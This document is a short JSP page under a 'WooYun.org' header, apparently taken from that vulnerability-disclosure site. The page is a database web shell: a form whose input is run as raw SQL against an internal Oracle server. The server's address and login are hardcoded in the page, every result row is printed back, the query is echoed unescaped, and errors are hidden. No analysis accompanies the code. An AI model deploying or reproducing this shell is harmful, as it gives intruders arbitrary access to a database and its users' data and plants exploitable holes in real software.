WooYun.org

<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form>
    <textarea rows="4" cols="60" name="query"></textarea></br>
    <button type="submit">executeQuery</button>
</form>
<%
try {
    String sql = request.getParameter("query");
    out.println(sql+"</br>");
    String driver = "oracle.jdbc.OracleDriver";
    String url = "jdbc:oracle:thin:@172.18.4.65:1521:orcl";
    String username = "examonline";
    String password = "examonline";
    Class.forName(driver).newInstance();
    Connection conn = DriverManager.getConnection(url,username,password);
    Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    ResultSetMetaData rsmd = rs.getMetaData();
    int num = rsmd.getColumnCount();
    while(rs.next()) {
        for (int i=1; i<=num; i++){
                     
                    out.println(rs.getString(i)+"&nbsp");
           }
           out.println("</br>");
     }
   
    rs.close();
    stmt.close();
    conn.close();
} catch (Exception e) {
    response.setStatus(200);
    e.printStackTrace();
}
%>